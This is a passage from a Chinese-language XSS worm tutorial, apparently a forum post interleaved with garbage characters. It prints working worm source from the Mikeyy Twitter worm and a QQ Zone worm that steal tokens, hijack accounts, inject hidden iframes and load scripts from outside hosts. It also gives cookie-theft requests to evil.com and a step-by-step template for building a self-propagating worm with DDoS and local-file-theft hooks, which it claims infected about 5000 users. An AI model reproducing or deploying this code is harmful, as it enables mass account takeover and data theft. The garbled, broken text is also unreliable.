! [7 j* M8 @- N" _& _0 w/ B# NXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

+ p* J1 R) y0 j4 h4 B1 EXmlHttp.send(null);

" F7 r7 i& h) y, q4 R</script>
  A  y; b  w9 S9 |复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
/ K' K0 X# p$ f
( e5 B: i5 i0 S. \var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

; [3 ]  w) A$ t3 B
3 j' R/ ^3 I& L1 E
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

0 |; W6 T2 F, J. l3 H3 RXmlHttp.send(null);
/ A+ D0 V7 }; ^  p2 R* G$ L
# S9 v) i- v8 D. i: C% u<script>
6 e# p* ^! ], P  G复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
( r9 @) {9 ?( z9 S第一版:
9 M( `1 Y7 h. j; `' |* ?  下载 (5.1 KB)
% B7 x6 f7 E+ C+ e( z. W
- w& k( K4 k* ?% [* z) @- [6 天前 08:27

: F/ v; r2 o8 f7 i- Y, f) A第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
7 h7 Y9 @, [: e, i' {* S) m! c0 E9 M
   2.   

   3. function XHConn(){  
! [6 M6 c6 h1 H, x
   4.   var _0x6687x2,_0x6687x3=false;  

% \* \6 B3 j1 x( k) {/ r- a5 k   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

! x$ R8 x1 l6 V  }; m   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

! c6 }3 ?9 y3 h   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
8 T5 U3 H9 V. [7 Y复制代码第六版:   1. function wait() {  
7 x  g* A( ~# O+ G( z2 `' e
$ p1 w, ]# ?' q% a# {0 s   2.   var content = document.documentElement.innerHTML;  
4 w' S0 p; [% e4 ~8 O9 D" z
' {2 Y, L7 \8 ]7 h2 V" R   3.   var tmp_cookie=document.cookie;  

& ?0 v) q. I( w/ q   4.   var tmp_posted=tmp_cookie.match(/posted/);  

# Y; H, z6 K- u2 \4 e   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  
4 A. G9 j2 R- A& L9 R" D1 z& h
# W4 X& i3 a& m/ ~3 h6 j* ^   8.   var randomUpdate= new Array();  

& W1 w- y' d: N8 N  Z+ f* N5 x   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

" `; W3 F, O7 K  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

" W0 l" A+ K' ]  ?+ L  i' v  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
0 I) a! ~. u& f2 ?
3 l" ~. U, P' |$ {" ~1 E0 d  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
9 F' @7 j; `: u, n
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
0 g0 e' V" S7 o8 m3 w/ n& [: E$ Z
5 H5 S: G+ T3 f4 r  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

% w1 h& U% Y0 ~5 }$ u  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

- B& J  c9 D5 m* c: x% Y" X  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
1 ^+ d: ~3 s# R) P
0 T' m0 z0 R6 n( v5 @! k  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

/ h# e0 B/ s* g9 a4 O- f, n: c5 r  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
6 R4 l7 V: W/ L
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
2 z0 u$ K9 Z  B5 U
, B5 ?  Z3 m$ Z( X, w9 X, D  27.     
7 B3 ^' B1 D" d3 b+ b
  28.   var ajaxConn= new XHConn();  
" z2 m) p4 G! O5 Y
1 P( C2 y. q# D; u, f  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

1 @, f+ ?; y% }! n5 `9 ^  30.   var _0xf81bx1c="Mikeyy";  

( A, X: b" r& H1 u  31.   var updateEncode=urlencode(_0xf81bx1c);  
8 x, q( R) T% |& p; N
  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
$ E% W  C( O5 l
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

5 u/ w9 i+ _/ E/ c5 Y6 z: e2 O  35.   var XSS=urlencode(genXSS);  
& i% f# a4 b7 W, W/ k, r
! }8 N% n1 D, H# m& P  36.   var ajaxConn2= new XHConn();  

+ H+ {* S  {8 s2 p  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
5 ^8 A# c0 M7 D2 P0 f4 n9 @0 u
  38.     

  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
' e) N2 U8 F- W/ i; E6 q
5 J+ X/ a* |: Nwindow.onerror=killErrors;

9 ?3 V0 {1 L7 F- e* l8 U; a' |, F
+ O4 {9 R6 a/ `# \/ ]1 W
9 v  K3 y& X* ^6 W% |/ I" _3 k' V1 rvar shendu;shendu=4;
. \# Q: ~5 ]6 @
3 S+ O, B/ d9 _//---------------global---v------------------------------------------
1 Z. k3 Y% m+ R3 _8 j- s
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
; j/ I  u. P- V% s
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
! c/ Z3 b5 w2 x2 K: a' d
3 r/ i! P7 q- _: Vvar myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;
& O% Z8 _) W$ E* x
        var gurle=gurl.indexOf("com/");
; [7 L# s+ G* g5 q" L% Q: J) A
# c; r1 y5 f0 L' S8 W0 `2 m1 I        gurl=gurl.substring(0,gurle+3);        

) M) T0 C  N" h7 U: p4 x        var visitorID=top.document.documentElement.outerHTML;

0 p; n/ m7 m+ K3 u' g" p           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

$ e# x9 z8 h% J( T( Z/ O. p6 p        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);
4 V2 i. _7 _9 L$ V  w
        get_my_blog(visitorID);
+ K& d' k0 A1 v, g! o) w
        DOshuamy();
1 v$ ]% J8 E6 Y) x
, |' _5 ~, y+ b5 ~- i7 R  U
5 c+ @# p% C" b4 e. Y3 k9 F1 J* k
//挂马
1 r0 p3 V# ?3 C
: b( e6 ~- G7 o* k+ k3 O: Xfunction DOshuamy(){
  e, F' N$ h! M
' }# N9 m) ?" r' K& [var ssr=document.getElementById("veryTitle");
* L: F! M- z% D& b6 Y
1 \1 k3 G( @5 k1 Lssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
1 L% r! f  s; w7 G6 j
  I6 l4 b6 u& A}



//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

! w- W" _! Q) w* s, [% X7 `function get_my_blog(visitorID){

! j8 {9 @, c* u- p4 N# Z6 S   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
9 O9 w) t9 p' G
3 I5 {0 k( l5 f   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
5 ~) w" u. ^" ~( Z& o
0 [% ]# H, T* J, u- P' \( q     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
5 Z6 V+ d* M1 B2 \
. V, |) J0 R& W9 y     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

    }

}
& n: Q# o, B6 R0 Q

/ w4 C+ B/ {7 f
8 c2 u; x* j0 t2 `7 v, U//这里似乎是判断没有登录的

function get_my_blogurl(guest){

  var mybloglist=guest;

  var myurls;var blogids;var blogide;

3 B; o/ R) x/ v6 v6 b1 h2 ^) z) c+ ?  for(i=0;i<shendu;i++){
5 t' O8 n+ M1 T  s$ x/ F
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

2 F- Z; P& h6 B         mybloglist=mybloglist.substring(myurls+11);
+ P6 b2 A8 R/ K5 g% Y8 t* m
/ G( t$ W; b* c         myurls=mybloglist.indexOf(')');
$ W* Z/ C+ f7 ]* [7 r
$ t" J' l) B! e9 P         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
; ?4 X2 \, m3 v
. S: K& I" @5 N7 T& h0 I}
# T5 z' {. Z, I8 ]; g' V5 T
get_my_testself();    //执行这个函数

}



2 \: G3 W. I% F. {  ]3 n//这里往哪跳就不知道了
6 ?$ D6 w' t9 Y7 u* }6 h
function get_my_testself(){

! h) s& j: e5 F7 F  for(i=0;i<myblogid.length;i++){    //获得blogid的值

& I( }5 t# a. A- `( i; L0 L: \& L      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
. q8 ~+ X) U, p; ~
) U% D; `9 G* K& Q2 G      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

# ^8 d+ P" S. J* Y      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;
" D" K) w1 ~9 `) M
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
' r4 T. N/ L; J2 W9 \
) o& m4 x5 {+ b; G  @/ d1 V& H              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
8 I  R* \; N2 A
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
1 I9 B7 {" P1 a  p. [) j
" ^4 M' x5 J/ l) |* _: V2 F                break;
) ~# ^+ c8 t9 Y0 J! M6 x
5 U! x2 @' S  {+ L3 `               }

' {* M7 ^& _. L4 O              if(mycheckit=="-1"){
6 u. U5 n9 r9 M3 \' l3 b) }4 q$ L
                targetblogurlid=myblogid;

& C6 f# g2 S. X                add_js(visitorID,targetblogurlid,gurl);    //执行它
3 b. z. A2 L  t! D8 r
                break;
) v7 `* N! O; ^6 n
& Q- L! j+ O0 X4 P7 J* I               }

% Q# V0 W: `1 T        }      

- q/ T6 j, a8 A" a* ~+ Y8 z1 I8 A}
: O7 A) T2 n. H6 U
}
# }+ e/ ^& F" j; x8 G( _: t


% U& g$ _# J7 {+ ^) U* ~& r//--------------------------------------  
, C( b/ i1 k7 e: z7 v5 s2 }
( r' }% ^; k9 h, S//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

. _/ E( S3 @; e: I& X) b6 e: V    var XMLhttpObject=null;  
2 N# r1 _5 q( s& Y. e: @9 B
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

1 u# K) I" i9 w. P      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
( D- }. C. m" c0 c3 Z
" B; m7 o  `' e; c" M: c, ^2 E        for(var i=0;i<MSXML.length;i++)  
2 J5 h3 j1 K, D2 Q& w1 X
; P  O9 t1 k2 K6 f; F. e, L, `        {  

( C" V. s+ }; m            try  

6 H" c$ J' _4 e8 o            {  
/ Y; R6 P  G- E5 D1 p
                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
$ f+ P- c8 _% Q6 I$ G
            }  

            catch (ex) {  

* f' ^1 z3 u: ^  ~9 w1 K+ g; ~            }  

0 T6 O& ?; }) D$ s& d         }  
$ Y! x, p2 y  O! a! U& s
      }

7 m6 R# f8 M5 |$ j! v; b; ?1 `return XMLhttpObject;
4 s* ]& f. \4 ?! R6 x4 w
! Q2 b) G+ D0 H) X  `% ?# A1 \' S# M}  

+ T; `7 W. v  X# J" z/ W

//这里就是感染部分了
3 e$ `( w, p$ ]. T% u
' @/ \, j/ m5 `- a' G) i4 Z  Pfunction add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

6 \: X8 m4 y" M% i) T6 O1 zs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

' D9 l* ?' s: q4 f6 H- [document.getElementsByTagName('head').item(0).appendChild(s2);
2 c% ?& T( T$ X6 Z5 f7 A3 d! X+ [
, D/ j7 n2 ~5 D1 J7 O, p; {' j! s5 c}
/ g9 p4 S! K' j4 ]' f

! W9 Q% Y4 C& O7 o) l
function add_jsdel(visitorID,targetblogurlid,gurl){

; Y& B/ }: N1 P0 Y. z; @6 ovar s2=document.createElement('script');
+ \( ]6 {  C9 g6 B5 k* I! l8 |
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

4 ?9 L2 s: w, Js2.type='text/javascript';
  t6 x# J* K. b7 Y3 H
document.getElementsByTagName('head').item(0).appendChild(s2);
' t& Q& K5 s6 I3 r% l4 K$ N
+ B# M6 {" ]: R8 y7 C; N$ W}
. I: C8 |& b! U: H1 v1 K复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
# i7 W+ B. K/ g/ Z0 t5 {. d+ Y- P1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

0 C2 B( ]  @  g# y
% t( Z! }+ ^& b. j! B下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
( M( @: }) j8 G6 l: B/ p
" _4 [( N4 T7 Z1 e0 I* {首先,自然是判断不同浏览器,创建不同的对象var request = false;
+ z! m0 s* ^8 P( p6 q1 `; v
if(window.XMLHttpRequest) {
! E' X- F: _' x& V
$ E  X. A  B$ d$ |. Mrequest = new XMLHttpRequest();

" q' E* ]4 N+ ]- h$ u7 F9 f) Jif(request.overrideMimeType) {
8 ~0 ^( _5 [3 R: Q. S" z( C
5 R# W4 P# ?1 U: a7 {/ u4 nrequest.overrideMimeType('text/xml');

, V/ p9 q' T% g}

} else if(window.ActiveXObject) {
6 ?' O$ f( W7 j0 [) ?% Z8 t
7 a3 `1 k( n- ]5 R  q$ xvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) D' T9 C2 S, K6 }) @6 d
  b: I+ p3 U/ r: l( _: y% f" q/ o! Pfor(var i=0; i<versions.length; i++) {

5 W  D- \1 w' u, ~' d6 S5 dtry {
) \- f' s& b  _* X% s5 z
request = new ActiveXObject(versions);

} catch(e) {}

}

}
- q+ W0 T: V6 l! _5 ]
xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
6 m$ j: e, ?0 P
        var Browser_Name=navigator.appName;

# c; K/ N0 R. w5 y4 n+ P# Y$ M        var Browser_Version=parseFloat(navigator.appVersion);

- K! ]& j) }0 q- t        var Browser_Agent=navigator.userAgent;

        

2 q3 M" N: P" Y, c2 E8 j- }        var Actual_Version,Actual_Name;
+ ~9 {, B6 I, h+ }: T. O* S
7 M& g# R. I) k* T: X2 l        
/ r0 V0 ?* G7 t
% f! m* _2 f6 M; k        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
" r* c, q* C" }
; g1 u! k8 Q2 V* L        var is_NN=(Browser_Name=="Netscape");
0 d, I) i7 V) U+ t) ?
+ _& f# K% _- W$ K! J6 X        var is_Ch=(Browser_Name=="Chrome");
  Z% C7 ^6 I) A0 A. C
        
6 }3 ]' u+ f. P8 E, D
1 B0 g; p6 c% s+ t: g3 v        if(is_NN){

            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

$ t9 [" v' D# [2 C. D' c9 P9 T. \                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

) T% E# {, @3 l

! J* z/ |- l2 A5 H0 O3 T                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

            else{
. A' P, t; w2 s
                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

            }

        }
4 F4 A& [" q! f* B
' O! }3 Z- O; h& R* C8 I        else if(is_IE){
. a) z+ r2 w/ T7 P: ~+ q
; l! ]* H! ]# K            var Version_Start=Browser_Agent.indexOf("MSIE");
9 v; G( M. p# D$ D
4 Y, T) s, N# n+ u" u. e& v/ O            var Version_End=Browser_Agent.indexOf(";",Version_Start);

  U) f- s( v# a+ @            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
' o# N, y* F5 G7 X6 g) e3 E6 z
/ X9 S; u7 x% L. P% s            Actual_Name=Browser_Name;

0 l  I4 B) \# t$ M" K/ @' g$ H1 T  [            
5 o: l8 u. G& O; ]+ @6 k
7 K. t, \! m/ A. h, h            if(Browser_Agent.indexOf("Maxthon")!=-1){

$ e: q! Z3 Q. [, _* r2 |                Actual_Name+="(Maxthon)";

3 \: r: {) l0 x4 L            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
7 F# _! C" J0 {0 j% Y7 V7 O
                var tempstart=Browser_Agent.indexOf("Opera");

$ n1 s/ h0 n$ g                var tempend=Browser_Agent.length;

5 V- k) n$ Q- y2 I) s! V7 |9 |                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
; x0 }, N* [' s0 N5 G$ G
/ J7 ?- R$ m  M: F            }

/ x+ P* z. `% u, @        }

5 x) X1 ?1 e% m        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
# H0 N; I1 C6 Z. n" q; Z
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

# k" f% V5 @+ b5 ^# n  B            Actual_Name=Browser_Name;
$ L5 ~: x( F- {9 X
            
, z/ g5 v; ?$ @
9 E( [* Z% ~% J- l. k: ]: ?4 ]( T            if(Browser_Agent.indexOf("Maxthon")!=-1){

; [; g0 C0 \8 g                Actual_Name+="(Maxthon)";
- n- n5 W2 j/ d6 t& Y# W
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
  J: K9 t; s, F: f' V0 b; E
. p1 V" A; Q/ y4 x+ Q5 Y                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
/ N# I2 h/ L' Q/ }* B
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
/ C4 q" v/ K, M' z
& Q9 |( _6 q3 y/ p. t3 m& B. e3 P            }
; P/ M) Z* u0 }. \
5 C# \3 I4 s% G, s+ D3 v9 o        }

$ q% v# k- U4 y6 b: v: o9 G# b% O5 I        else{

            Actual_Name="Unknown Navigator"
( o2 Y9 G9 t. R2 J. T
            Actual_Version="Unknown Version"

        }
* X! i& g/ v! N* _* X


2 b1 Z$ G2 x3 q        navigator.Actual_Name=Actual_Name;
7 L: I7 ], [; F8 D
1 t3 L1 K6 _& {2 h' U        navigator.Actual_Version=Actual_Version;

        
" S1 L0 V1 f- ?* q5 a0 b8 ^
        this.Name=Actual_Name;

        this.Version=Actual_Version;
0 z# [* Y3 b5 |4 c
    }

    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

# A5 v5 {& w$ A% e    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

% u) u# \$ T- r3 t! h* m) W    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
7 u6 z$ k3 O' q7 i. |复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
& s/ @& J8 z9 s: Z" @复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
2 |/ _+ `9 w9 V5 ]0 G3 d复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

1 m0 t+ Z1 Q+ z- n. ?0 f2 K  NxmlHttpReq.send(null);

) g; v7 H/ K4 J" r& L  F; b: kvar resource = xmlHttpReq.responseText;
% ]! F9 a; B1 n" Z- f2 s
* T5 A' j+ p" ^! @" tvar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

/ ]1 v7 J$ z( h2 ]while ((result = patt.exec(resource)) != null)  {
6 Y! m) L/ R# d8 {& n
; y  v3 C' w/ p; d! lid++;

+ a$ V" [0 ?# z$ D9 |0 |}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

' n8 J1 k- w, W9 z. \no=resource.search(/my name is/);
6 k* R: Q3 l# M$ ^+ v9 U
/ ?% A! z1 \% E7 bvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

$ [; O& K% D5 i- [" E  yvar post="wd="+wd;
8 [) E8 U2 k8 z
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
: T& q' T" _! b8 |, o9 y: k  Q
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

9 z8 f" _" b" L* b- m; JxmlHttpReq.send(post);

% G* p) B0 D9 f' ]}
$ t1 d6 B% e) N复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  d- f3 a2 D; B* p* e
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

2 n# C9 I* L" E0 H5 y' V- d/ B& pvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

/ C9 E9 p8 I* @/ A1 `3 \var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
, M- a& E" j4 H( v
var post="wd="+wd;
$ g1 }, K% K' o* v
. V4 Z3 L  P( w- I- l" V" PxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

, p) T* l, w5 ]& fxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

# l8 t9 w: [0 D' s$ ]) `6 m6 W& WxmlHttpReq.setRequestHeader("content-length",post.length);
. [9 ~& D, E( _( b
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
, d, u8 G! e% A: q% ~! H8 |9 u0 ~
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
6 U6 u/ P, B) @  M* m$ g$ a! h
}
6 S# P7 G6 q4 y' X复制代码-----------------------------------------------------总结-------------------------------------------------------------------

( l* K# q, k$ z2 t& _( a1 C0 y  ]
% m2 V& G  _, X4 T
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
/ f+ N7 d0 U# N. z  b蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


3 |" P% K% }' ]0 {7 M0 f) m

$ r) z6 K6 Q# r' `
8 z% r) B; O9 E# w7 H


  ^% V- K6 A7 b/ ?本文引用文档资料:

( V3 X0 N; W" i- p( @* U"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
6 b& f% ^6 m3 X9 q+ D8 u8 N"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/